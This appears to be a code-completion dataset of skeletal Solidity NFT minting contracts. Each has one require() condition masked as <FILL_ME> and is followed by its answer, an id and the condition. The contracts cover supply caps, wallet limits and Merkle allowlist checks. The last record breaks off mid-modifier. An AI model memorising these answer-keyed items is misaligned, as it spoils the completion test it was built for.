mapping(address => uint256) public publicMintCount;
mapping(address => uint256) public freeMintCount;
mapping(address => uint256) public presaleMintCount;
constructor() ERC721A("Dream", "DREAM") {}
// ======== PUBLIC MINTING FUNCTIONS ========
function presaleMint(
uint256 _quantity,
bytes32[] calldata _proof,
uint256 _maxQuantity
) external payable {
}
function publicSaleMint(uint256 _quantity) public payable {
}
function freeMint(
uint256 _quantity,
bytes32[] calldata _proof,
uint256 _maxQuantity
) external {
require(isFreeMint, "Free mint has not started");
require(<FILL_ME>)
require(
_quantity + freeMintCount[msg.sender] <= _maxQuantity,
"Exceed max mint amount"
);
require(
MerkleProof.verify(
_proof,
freeMintRoot,
_convertLeaf(msg.sender, _maxQuantity)
),
"Invalid proof"
);
freeMintCount[msg.sender] += _quantity;
_mint(msg.sender, _quantity);
}
// ======== UTILS ========
function _convertLeaf(address _user, uint256 _quantity)
internal
pure
returns (bytes32)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _startTokenId()
internal
view
virtual
override(ERC721A)
returns (uint256)
{
}
// ======== WITHDRAW ========
function withdraw() external onlyOwner {
}
// ======== SETTERS ========
function teamMint(uint256 _quantity) external onlyOwner {
}
function setRevealed(bool _isRevealed) external onlyOwner {
}
function setMaxPublicMint(uint256 _max) external onlyOwner {
}
function setFreeMintRoot(bytes32 _root) public onlyOwner {
}
function setPresaleRoot(bytes32 _root) public onlyOwner {
}
function setMintPrice(uint256 _presale, uint256 _public) public onlyOwner {
}
function setBaseURI(string calldata _baseURI) public onlyOwner {
}
function setPrerevealedURI(string calldata _preRevealedURI)
public
onlyOwner
{
}
function setTotalSupply(uint256 _supply) public onlyOwner {
}
function setReservedSupply(uint256 _supply) public onlyOwner {
}
function setMintBatch(
bool _public,
bool _presale,
bool _free
) public onlyOwner {
}
}
|
_quantity+totalSupply()<=TOTAL_SUPPLY,"Exceed total supply"
| 143,685 |
_quantity+totalSupply()<=TOTAL_SUPPLY
|
"Exceed max mint amount"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "https://github.com/chiru-labs/ERC721A/blob/main/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract Dream is ERC721A, Ownable {
uint256 public TOTAL_SUPPLY = 8888;
uint256 public RESERVED_SUPPLY = 1600; // reserved for free mint
bytes32 public presaleRoot;
bytes32 public freeMintRoot;
uint256 public presalePrice = 0.08 ether;
uint256 public mintPrice = 0.10 ether;
bool public isPublicSale;
bool public isPresale;
bool public isFreeMint;
uint256 public maxPublicMint = 6;
bool isRevealed = false;
string public baseURI = "";
string public preRevealedURI = "";
mapping(address => uint256) public publicMintCount;
mapping(address => uint256) public freeMintCount;
mapping(address => uint256) public presaleMintCount;
constructor() ERC721A("Dream", "DREAM") {}
// ======== PUBLIC MINTING FUNCTIONS ========
function presaleMint(
uint256 _quantity,
bytes32[] calldata _proof,
uint256 _maxQuantity
) external payable {
}
function publicSaleMint(uint256 _quantity) public payable {
}
function freeMint(
uint256 _quantity,
bytes32[] calldata _proof,
uint256 _maxQuantity
) external {
require(isFreeMint, "Free mint has not started");
require(
_quantity + totalSupply() <= TOTAL_SUPPLY,
"Exceed total supply"
);
require(<FILL_ME>)
require(
MerkleProof.verify(
_proof,
freeMintRoot,
_convertLeaf(msg.sender, _maxQuantity)
),
"Invalid proof"
);
freeMintCount[msg.sender] += _quantity;
_mint(msg.sender, _quantity);
}
// ======== UTILS ========
function _convertLeaf(address _user, uint256 _quantity)
internal
pure
returns (bytes32)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _startTokenId()
internal
view
virtual
override(ERC721A)
returns (uint256)
{
}
// ======== WITHDRAW ========
function withdraw() external onlyOwner {
}
// ======== SETTERS ========
function teamMint(uint256 _quantity) external onlyOwner {
}
function setRevealed(bool _isRevealed) external onlyOwner {
}
function setMaxPublicMint(uint256 _max) external onlyOwner {
}
function setFreeMintRoot(bytes32 _root) public onlyOwner {
}
function setPresaleRoot(bytes32 _root) public onlyOwner {
}
function setMintPrice(uint256 _presale, uint256 _public) public onlyOwner {
}
function setBaseURI(string calldata _baseURI) public onlyOwner {
}
function setPrerevealedURI(string calldata _preRevealedURI)
public
onlyOwner
{
}
function setTotalSupply(uint256 _supply) public onlyOwner {
}
function setReservedSupply(uint256 _supply) public onlyOwner {
}
function setMintBatch(
bool _public,
bool _presale,
bool _free
) public onlyOwner {
}
}
|
_quantity+freeMintCount[msg.sender]<=_maxQuantity,"Exceed max mint amount"
| 143,685 |
_quantity+freeMintCount[msg.sender]<=_maxQuantity
|
"Invalid proof"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "https://github.com/chiru-labs/ERC721A/blob/main/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract Dream is ERC721A, Ownable {
uint256 public TOTAL_SUPPLY = 8888;
uint256 public RESERVED_SUPPLY = 1600; // reserved for free mint
bytes32 public presaleRoot;
bytes32 public freeMintRoot;
uint256 public presalePrice = 0.08 ether;
uint256 public mintPrice = 0.10 ether;
bool public isPublicSale;
bool public isPresale;
bool public isFreeMint;
uint256 public maxPublicMint = 6;
bool isRevealed = false;
string public baseURI = "";
string public preRevealedURI = "";
mapping(address => uint256) public publicMintCount;
mapping(address => uint256) public freeMintCount;
mapping(address => uint256) public presaleMintCount;
constructor() ERC721A("Dream", "DREAM") {}
// ======== PUBLIC MINTING FUNCTIONS ========
function presaleMint(
uint256 _quantity,
bytes32[] calldata _proof,
uint256 _maxQuantity
) external payable {
}
function publicSaleMint(uint256 _quantity) public payable {
}
function freeMint(
uint256 _quantity,
bytes32[] calldata _proof,
uint256 _maxQuantity
) external {
require(isFreeMint, "Free mint has not started");
require(
_quantity + totalSupply() <= TOTAL_SUPPLY,
"Exceed total supply"
);
require(
_quantity + freeMintCount[msg.sender] <= _maxQuantity,
"Exceed max mint amount"
);
require(<FILL_ME>)
freeMintCount[msg.sender] += _quantity;
_mint(msg.sender, _quantity);
}
// ======== UTILS ========
function _convertLeaf(address _user, uint256 _quantity)
internal
pure
returns (bytes32)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function _startTokenId()
internal
view
virtual
override(ERC721A)
returns (uint256)
{
}
// ======== WITHDRAW ========
function withdraw() external onlyOwner {
}
// ======== SETTERS ========
function teamMint(uint256 _quantity) external onlyOwner {
}
function setRevealed(bool _isRevealed) external onlyOwner {
}
function setMaxPublicMint(uint256 _max) external onlyOwner {
}
function setFreeMintRoot(bytes32 _root) public onlyOwner {
}
function setPresaleRoot(bytes32 _root) public onlyOwner {
}
function setMintPrice(uint256 _presale, uint256 _public) public onlyOwner {
}
function setBaseURI(string calldata _baseURI) public onlyOwner {
}
function setPrerevealedURI(string calldata _preRevealedURI)
public
onlyOwner
{
}
function setTotalSupply(uint256 _supply) public onlyOwner {
}
function setReservedSupply(uint256 _supply) public onlyOwner {
}
function setMintBatch(
bool _public,
bool _presale,
bool _free
) public onlyOwner {
}
}
|
MerkleProof.verify(_proof,freeMintRoot,_convertLeaf(msg.sender,_maxQuantity)),"Invalid proof"
| 143,685 |
MerkleProof.verify(_proof,freeMintRoot,_convertLeaf(msg.sender,_maxQuantity))
|
"EditPass: Pass does not exist"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
/**
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββ
**/
import "@openzeppelin/contracts/utils/Counters.sol";
import './AbstractERC1155Factory.sol';
/*
* @title ERC1155 tokens for Vault memberships
* Created by Davo#9627
*
*/
contract Vault is AbstractERC1155Factory {
using Counters for Counters.Counter;
Counters.Counter private counter;
mapping(uint256 => bool) private isSaleOpen;
mapping(uint256 => Pass) public Passes;
event Purchased(uint indexed index, address indexed account, uint amount);
struct Pass {
uint256 mintPrice;
uint256 maxSupply;
uint256 maxPurchaseTx;
uint256 purchased;
string ipfsMetadataHash;
}
constructor(
string memory _name,
string memory _symbol
) ERC1155("ipfs://") {
}
/**
* @notice adds a new Pass
*
* @param _mintPrice mint price in wei
* @param _maxSupply maximum total supply
* @param _ipfsMetadataHash the ipfs hash for Pass metadata
*/
function addPass(
uint256 _mintPrice,
uint256 _maxSupply,
uint256 _maxPurchaseTx,
string memory _ipfsMetadataHash
) public onlyOwner {
}
/**
* @notice edit an existing Pass
*
* @param _mintPrice mint price in wei
* @param _maxSupply the maximum supply
* @param _ipfsMetadataHash the ipfs hash for Pass metadata
* @param _PassIndex the Pass id to change
*/
function editPass(
uint256 _mintPrice,
uint256 _maxSupply,
uint256 _maxPurchaseTx,
string memory _ipfsMetadataHash,
uint256 _PassIndex
) external onlyOwner {
require(<FILL_ME>)
Passes[_PassIndex].mintPrice = _mintPrice;
Passes[_PassIndex].maxSupply = _maxSupply;
Passes[_PassIndex].maxPurchaseTx = _maxPurchaseTx;
Passes[_PassIndex].ipfsMetadataHash = _ipfsMetadataHash;
}
/**
* @notice mint Pass tokens
*
* @param PassID the Pass id to mint
* @param amount the amount of tokens to mint
*/
function ownerMint(uint256 PassID, uint256 amount, address to) external onlyOwner {
}
/**
* @notice open Pass sale
*
* @param PassIds the Pass ids to close the sale for
*/
function openSale(uint256[] calldata PassIds) external onlyOwner {
}
/**
* @notice close Pass sale
*
* @param PassIds the Pass ids to close the sale for
*/
function closeSale(uint256[] calldata PassIds) external onlyOwner {
}
/**
* @notice purchase Pass tokens
*
* @param PassID the Pass id to purchase
* @param amount the amount of tokens to purchase
*/
function mint(uint256 PassID, uint256 amount) external payable {
}
/**
* @notice Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*
*/
function withdraw() public onlyOwner {
}
/**
* @notice return total supply for all existing Passs
*/
function totalSupplyAll() external view returns (uint[] memory) {
}
/**
* @notice indicates whether any token exist with a given id, or not
*/
function exists(uint256 id) public view override returns (bool) {
}
/**
* @notice returns the metadata uri for a given id
*
* @param _id the Pass id to return metadata for
*/
function uri(uint256 _id) public view override returns (string memory) {
}
}
|
exists(_PassIndex),"EditPass: Pass does not exist"
| 143,749 |
exists(_PassIndex)
|
"Mint: Pass does not exist"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
/**
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββ
**/
import "@openzeppelin/contracts/utils/Counters.sol";
import './AbstractERC1155Factory.sol';
/*
* @title ERC1155 tokens for Vault memberships
* Created by Davo#9627
*
*/
contract Vault is AbstractERC1155Factory {
using Counters for Counters.Counter;
Counters.Counter private counter;
mapping(uint256 => bool) private isSaleOpen;
mapping(uint256 => Pass) public Passes;
event Purchased(uint indexed index, address indexed account, uint amount);
struct Pass {
uint256 mintPrice;
uint256 maxSupply;
uint256 maxPurchaseTx;
uint256 purchased;
string ipfsMetadataHash;
}
constructor(
string memory _name,
string memory _symbol
) ERC1155("ipfs://") {
}
/**
* @notice adds a new Pass
*
* @param _mintPrice mint price in wei
* @param _maxSupply maximum total supply
* @param _ipfsMetadataHash the ipfs hash for Pass metadata
*/
function addPass(
uint256 _mintPrice,
uint256 _maxSupply,
uint256 _maxPurchaseTx,
string memory _ipfsMetadataHash
) public onlyOwner {
}
/**
* @notice edit an existing Pass
*
* @param _mintPrice mint price in wei
* @param _maxSupply the maximum supply
* @param _ipfsMetadataHash the ipfs hash for Pass metadata
* @param _PassIndex the Pass id to change
*/
function editPass(
uint256 _mintPrice,
uint256 _maxSupply,
uint256 _maxPurchaseTx,
string memory _ipfsMetadataHash,
uint256 _PassIndex
) external onlyOwner {
}
/**
* @notice mint Pass tokens
*
* @param PassID the Pass id to mint
* @param amount the amount of tokens to mint
*/
function ownerMint(uint256 PassID, uint256 amount, address to) external onlyOwner {
require(<FILL_ME>)
_mint(to, PassID, amount, "");
}
/**
* @notice open Pass sale
*
* @param PassIds the Pass ids to close the sale for
*/
function openSale(uint256[] calldata PassIds) external onlyOwner {
}
/**
* @notice close Pass sale
*
* @param PassIds the Pass ids to close the sale for
*/
function closeSale(uint256[] calldata PassIds) external onlyOwner {
}
/**
* @notice purchase Pass tokens
*
* @param PassID the Pass id to purchase
* @param amount the amount of tokens to purchase
*/
function mint(uint256 PassID, uint256 amount) external payable {
}
/**
* @notice Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*
*/
function withdraw() public onlyOwner {
}
/**
* @notice return total supply for all existing Passs
*/
function totalSupplyAll() external view returns (uint[] memory) {
}
/**
* @notice indicates whether any token exist with a given id, or not
*/
function exists(uint256 id) public view override returns (bool) {
}
/**
* @notice returns the metadata uri for a given id
*
* @param _id the Pass id to return metadata for
*/
function uri(uint256 _id) public view override returns (string memory) {
}
}
|
exists(PassID),"Mint: Pass does not exist"
| 143,749 |
exists(PassID)
|
"Open sale: Pass does not exist"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
/**
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββ
**/
import "@openzeppelin/contracts/utils/Counters.sol";
import './AbstractERC1155Factory.sol';
/*
* @title ERC1155 tokens for Vault memberships
* Created by Davo#9627
*
*/
contract Vault is AbstractERC1155Factory {
using Counters for Counters.Counter;
Counters.Counter private counter;
mapping(uint256 => bool) private isSaleOpen;
mapping(uint256 => Pass) public Passes;
event Purchased(uint indexed index, address indexed account, uint amount);
struct Pass {
uint256 mintPrice;
uint256 maxSupply;
uint256 maxPurchaseTx;
uint256 purchased;
string ipfsMetadataHash;
}
constructor(
string memory _name,
string memory _symbol
) ERC1155("ipfs://") {
}
/**
* @notice adds a new Pass
*
* @param _mintPrice mint price in wei
* @param _maxSupply maximum total supply
* @param _ipfsMetadataHash the ipfs hash for Pass metadata
*/
function addPass(
uint256 _mintPrice,
uint256 _maxSupply,
uint256 _maxPurchaseTx,
string memory _ipfsMetadataHash
) public onlyOwner {
}
/**
* @notice edit an existing Pass
*
* @param _mintPrice mint price in wei
* @param _maxSupply the maximum supply
* @param _ipfsMetadataHash the ipfs hash for Pass metadata
* @param _PassIndex the Pass id to change
*/
function editPass(
uint256 _mintPrice,
uint256 _maxSupply,
uint256 _maxPurchaseTx,
string memory _ipfsMetadataHash,
uint256 _PassIndex
) external onlyOwner {
}
/**
* @notice mint Pass tokens
*
* @param PassID the Pass id to mint
* @param amount the amount of tokens to mint
*/
function ownerMint(uint256 PassID, uint256 amount, address to) external onlyOwner {
}
/**
* @notice open Pass sale
*
* @param PassIds the Pass ids to close the sale for
*/
function openSale(uint256[] calldata PassIds) external onlyOwner {
uint256 count = PassIds.length;
for (uint256 i; i < count; i++) {
require(<FILL_ME>)
isSaleOpen[PassIds[i]] = true;
}
}
/**
* @notice close Pass sale
*
* @param PassIds the Pass ids to close the sale for
*/
function closeSale(uint256[] calldata PassIds) external onlyOwner {
}
/**
* @notice purchase Pass tokens
*
* @param PassID the Pass id to purchase
* @param amount the amount of tokens to purchase
*/
function mint(uint256 PassID, uint256 amount) external payable {
}
/**
* @notice Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*
*/
function withdraw() public onlyOwner {
}
/**
* @notice return total supply for all existing Passs
*/
function totalSupplyAll() external view returns (uint[] memory) {
}
/**
* @notice indicates whether any token exist with a given id, or not
*/
function exists(uint256 id) public view override returns (bool) {
}
/**
* @notice returns the metadata uri for a given id
*
* @param _id the Pass id to return metadata for
*/
function uri(uint256 _id) public view override returns (string memory) {
}
}
|
exists(PassIds[i]),"Open sale: Pass does not exist"
| 143,749 |
exists(PassIds[i])
|
"Purchase: sale is not open"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
/**
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββ
**/
import "@openzeppelin/contracts/utils/Counters.sol";
import './AbstractERC1155Factory.sol';
/*
* @title ERC1155 tokens for Vault memberships
* Created by Davo#9627
*
*/
contract Vault is AbstractERC1155Factory {
using Counters for Counters.Counter;
Counters.Counter private counter;
mapping(uint256 => bool) private isSaleOpen;
mapping(uint256 => Pass) public Passes;
event Purchased(uint indexed index, address indexed account, uint amount);
struct Pass {
uint256 mintPrice;
uint256 maxSupply;
uint256 maxPurchaseTx;
uint256 purchased;
string ipfsMetadataHash;
}
constructor(
string memory _name,
string memory _symbol
) ERC1155("ipfs://") {
}
/**
* @notice adds a new Pass
*
* @param _mintPrice mint price in wei
* @param _maxSupply maximum total supply
* @param _ipfsMetadataHash the ipfs hash for Pass metadata
*/
function addPass(
uint256 _mintPrice,
uint256 _maxSupply,
uint256 _maxPurchaseTx,
string memory _ipfsMetadataHash
) public onlyOwner {
}
/**
* @notice edit an existing Pass
*
* @param _mintPrice mint price in wei
* @param _maxSupply the maximum supply
* @param _ipfsMetadataHash the ipfs hash for Pass metadata
* @param _PassIndex the Pass id to change
*/
function editPass(
uint256 _mintPrice,
uint256 _maxSupply,
uint256 _maxPurchaseTx,
string memory _ipfsMetadataHash,
uint256 _PassIndex
) external onlyOwner {
}
/**
* @notice mint Pass tokens
*
* @param PassID the Pass id to mint
* @param amount the amount of tokens to mint
*/
function ownerMint(uint256 PassID, uint256 amount, address to) external onlyOwner {
}
/**
* @notice open Pass sale
*
* @param PassIds the Pass ids to close the sale for
*/
function openSale(uint256[] calldata PassIds) external onlyOwner {
}
/**
* @notice close Pass sale
*
* @param PassIds the Pass ids to close the sale for
*/
function closeSale(uint256[] calldata PassIds) external onlyOwner {
}
/**
* @notice purchase Pass tokens
*
* @param PassID the Pass id to purchase
* @param amount the amount of tokens to purchase
*/
function mint(uint256 PassID, uint256 amount) external payable {
require(<FILL_ME>)
require(amount <= Passes[PassID].maxPurchaseTx, "Purchase: Max purchase per tx exceeded");
require(totalSupply(PassID) + amount <= Passes[PassID].maxSupply, "Purchase: Max total supply reached");
require(msg.value == amount * Passes[PassID].mintPrice, "Purchase: Incorrect payment");
Passes[PassID].purchased += amount;
_mint(msg.sender, PassID, amount, "");
emit Purchased(PassID, msg.sender, amount);
}
/**
* @notice Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*
*/
function withdraw() public onlyOwner {
}
/**
* @notice return total supply for all existing Passs
*/
function totalSupplyAll() external view returns (uint[] memory) {
}
/**
* @notice indicates whether any token exist with a given id, or not
*/
function exists(uint256 id) public view override returns (bool) {
}
/**
* @notice returns the metadata uri for a given id
*
* @param _id the Pass id to return metadata for
*/
function uri(uint256 _id) public view override returns (string memory) {
}
}
|
isSaleOpen[PassID],"Purchase: sale is not open"
| 143,749 |
isSaleOpen[PassID]
|
"Purchase: Max total supply reached"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
/**
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββ
**/
import "@openzeppelin/contracts/utils/Counters.sol";
import './AbstractERC1155Factory.sol';
/*
* @title ERC1155 tokens for Vault memberships
* Created by Davo#9627
*
*/
contract Vault is AbstractERC1155Factory {
using Counters for Counters.Counter;
Counters.Counter private counter;
mapping(uint256 => bool) private isSaleOpen;
mapping(uint256 => Pass) public Passes;
event Purchased(uint indexed index, address indexed account, uint amount);
struct Pass {
uint256 mintPrice;
uint256 maxSupply;
uint256 maxPurchaseTx;
uint256 purchased;
string ipfsMetadataHash;
}
constructor(
string memory _name,
string memory _symbol
) ERC1155("ipfs://") {
}
/**
* @notice adds a new Pass
*
* @param _mintPrice mint price in wei
* @param _maxSupply maximum total supply
* @param _ipfsMetadataHash the ipfs hash for Pass metadata
*/
function addPass(
uint256 _mintPrice,
uint256 _maxSupply,
uint256 _maxPurchaseTx,
string memory _ipfsMetadataHash
) public onlyOwner {
}
/**
* @notice edit an existing Pass
*
* @param _mintPrice mint price in wei
* @param _maxSupply the maximum supply
* @param _ipfsMetadataHash the ipfs hash for Pass metadata
* @param _PassIndex the Pass id to change
*/
function editPass(
uint256 _mintPrice,
uint256 _maxSupply,
uint256 _maxPurchaseTx,
string memory _ipfsMetadataHash,
uint256 _PassIndex
) external onlyOwner {
}
/**
* @notice mint Pass tokens
*
* @param PassID the Pass id to mint
* @param amount the amount of tokens to mint
*/
function ownerMint(uint256 PassID, uint256 amount, address to) external onlyOwner {
}
/**
* @notice open Pass sale
*
* @param PassIds the Pass ids to close the sale for
*/
function openSale(uint256[] calldata PassIds) external onlyOwner {
}
/**
* @notice close Pass sale
*
* @param PassIds the Pass ids to close the sale for
*/
function closeSale(uint256[] calldata PassIds) external onlyOwner {
}
/**
* @notice purchase Pass tokens
*
* @param PassID the Pass id to purchase
* @param amount the amount of tokens to purchase
*/
function mint(uint256 PassID, uint256 amount) external payable {
require(isSaleOpen[PassID], "Purchase: sale is not open");
require(amount <= Passes[PassID].maxPurchaseTx, "Purchase: Max purchase per tx exceeded");
require(<FILL_ME>)
require(msg.value == amount * Passes[PassID].mintPrice, "Purchase: Incorrect payment");
Passes[PassID].purchased += amount;
_mint(msg.sender, PassID, amount, "");
emit Purchased(PassID, msg.sender, amount);
}
/**
* @notice Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*
*/
function withdraw() public onlyOwner {
}
/**
* @notice return total supply for all existing Passs
*/
function totalSupplyAll() external view returns (uint[] memory) {
}
/**
* @notice indicates whether any token exist with a given id, or not
*/
function exists(uint256 id) public view override returns (bool) {
}
/**
* @notice returns the metadata uri for a given id
*
* @param _id the Pass id to return metadata for
*/
function uri(uint256 _id) public view override returns (string memory) {
}
}
|
totalSupply(PassID)+amount<=Passes[PassID].maxSupply,"Purchase: Max total supply reached"
| 143,749 |
totalSupply(PassID)+amount<=Passes[PassID].maxSupply
|
"URI: nonexistent token"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
/**
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββ
**/
import "@openzeppelin/contracts/utils/Counters.sol";
import './AbstractERC1155Factory.sol';
/*
* @title ERC1155 tokens for Vault memberships
* Created by Davo#9627
*
*/
contract Vault is AbstractERC1155Factory {
using Counters for Counters.Counter;
Counters.Counter private counter;
mapping(uint256 => bool) private isSaleOpen;
mapping(uint256 => Pass) public Passes;
event Purchased(uint indexed index, address indexed account, uint amount);
struct Pass {
uint256 mintPrice;
uint256 maxSupply;
uint256 maxPurchaseTx;
uint256 purchased;
string ipfsMetadataHash;
}
constructor(
string memory _name,
string memory _symbol
) ERC1155("ipfs://") {
}
/**
* @notice adds a new Pass
*
* @param _mintPrice mint price in wei
* @param _maxSupply maximum total supply
* @param _ipfsMetadataHash the ipfs hash for Pass metadata
*/
function addPass(
uint256 _mintPrice,
uint256 _maxSupply,
uint256 _maxPurchaseTx,
string memory _ipfsMetadataHash
) public onlyOwner {
}
/**
* @notice edit an existing Pass
*
* @param _mintPrice mint price in wei
* @param _maxSupply the maximum supply
* @param _ipfsMetadataHash the ipfs hash for Pass metadata
* @param _PassIndex the Pass id to change
*/
function editPass(
uint256 _mintPrice,
uint256 _maxSupply,
uint256 _maxPurchaseTx,
string memory _ipfsMetadataHash,
uint256 _PassIndex
) external onlyOwner {
}
/**
* @notice mint Pass tokens
*
* @param PassID the Pass id to mint
* @param amount the amount of tokens to mint
*/
function ownerMint(uint256 PassID, uint256 amount, address to) external onlyOwner {
}
/**
* @notice open Pass sale
*
* @param PassIds the Pass ids to close the sale for
*/
function openSale(uint256[] calldata PassIds) external onlyOwner {
}
/**
* @notice close Pass sale
*
* @param PassIds the Pass ids to close the sale for
*/
function closeSale(uint256[] calldata PassIds) external onlyOwner {
}
/**
* @notice purchase Pass tokens
*
* @param PassID the Pass id to purchase
* @param amount the amount of tokens to purchase
*/
function mint(uint256 PassID, uint256 amount) external payable {
}
/**
* @notice Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*
*/
function withdraw() public onlyOwner {
}
/**
* @notice return total supply for all existing Passs
*/
function totalSupplyAll() external view returns (uint[] memory) {
}
/**
* @notice indicates whether any token exist with a given id, or not
*/
function exists(uint256 id) public view override returns (bool) {
}
/**
* @notice returns the metadata uri for a given id
*
* @param _id the Pass id to return metadata for
*/
function uri(uint256 _id) public view override returns (string memory) {
require(<FILL_ME>)
return string(abi.encodePacked(super.uri(_id), Passes[_id].ipfsMetadataHash));
}
}
|
exists(_id),"URI: nonexistent token"
| 143,749 |
exists(_id)
|
"Limit per wallet exceeded"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract GenerativeCollectionToken is ERC721 {
string _token_uri;
address _owner;
uint256 _price = 0;
uint256 _royalty;
uint256 _limit;
uint256 _limit_per_wallet;
uint256 _start_time = 0;
address _platform_address;
uint256 _quantity = 1;
mapping(address => uint256) private _minted_amount_by_user;
mapping(uint256 => address) private _creator;
constructor(string memory name_, string memory symbol_, string memory token_uri_, address owner_, uint256 price_, uint256 royalty_, uint256 limit_, uint256 limit_per_wallet_, uint256 start_time_, address platform_address_) ERC721(name_, symbol_) {
}
function mint(uint256 quantity_) external payable {
require(_start_time < block.timestamp, "Not started yet");
require(_limit >= _quantity + quantity_, "Limit exceeded");
require(<FILL_ME>)
require(msg.value >= _price * quantity_, "Not enough funds send");
for (uint256 i = 0; i < quantity_; i++) {
_mint(msg.sender, _quantity);
_quantity += 1;
}
_minted_amount_by_user[msg.sender] += quantity_;
payable(_owner).transfer((msg.value * 975) / 1000);
payable(_platform_address).transfer((msg.value * 25) / 1000);
}
function concatenate(string memory a, string memory b) private pure returns (string memory) {
}
function tokenURI(uint256 token_id) public view override returns (string memory) {
}
function getRoyalty(uint256 token_id) public view returns (uint256) {
}
function getCreator(uint256 token_id) public view returns (address) {
}
}
|
_minted_amount_by_user[msg.sender]+quantity_<=_limit_per_wallet,"Limit per wallet exceeded"
| 143,801 |
_minted_amount_by_user[msg.sender]+quantity_<=_limit_per_wallet
|
"Token does not exists"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract GenerativeCollectionToken is ERC721 {
string _token_uri;
address _owner;
uint256 _price = 0;
uint256 _royalty;
uint256 _limit;
uint256 _limit_per_wallet;
uint256 _start_time = 0;
address _platform_address;
uint256 _quantity = 1;
mapping(address => uint256) private _minted_amount_by_user;
mapping(uint256 => address) private _creator;
constructor(string memory name_, string memory symbol_, string memory token_uri_, address owner_, uint256 price_, uint256 royalty_, uint256 limit_, uint256 limit_per_wallet_, uint256 start_time_, address platform_address_) ERC721(name_, symbol_) {
}
function mint(uint256 quantity_) external payable {
}
function concatenate(string memory a, string memory b) private pure returns (string memory) {
}
function tokenURI(uint256 token_id) public view override returns (string memory) {
require(<FILL_ME>)
return concatenate(_token_uri, concatenate(Strings.toString(token_id), ".json"));
}
function getRoyalty(uint256 token_id) public view returns (uint256) {
}
function getCreator(uint256 token_id) public view returns (address) {
}
}
|
_exists(token_id),"Token does not exists"
| 143,801 |
_exists(token_id)
|
"Please Lower Amount"
|
//SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.7.0 <0.9.0;
contract MultiMint is ERC721, Ownable {
//curated for Boujee Bullies
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 private cost = 0.08 ether;
uint256 public wlcost = 0.08 ether;
uint256 private ogcost = 0.08 ether;
uint256 public maxSupply = 10000;
uint256 public _ogSupply = 500;
uint256 public maxMintAmountPerTx = 10;
uint256 public maxMintPerUser = 10000;
bool public whiteListActive = false;
mapping(address => bool) public _whitelist;
address private projectfunds = 0x374bf71055aE2CCa77F7fC69695c5025601f0472;
uint256 public startTime = 1648818000;
uint256 public _WLstartTime;
bool public paused = true;
bool public revealed = false;
constructor() ERC721("Boujee Bullies", "Boujee Bullies") {
}
modifier mintCompliance(uint256 _mintAmount) {
}
modifier wlmintCompliance(uint256 _mintAmount) {
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!");
require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!");
require(block.timestamp >= _WLstartTime,"The sale has not started yet.");
require(<FILL_ME>)
_;
}
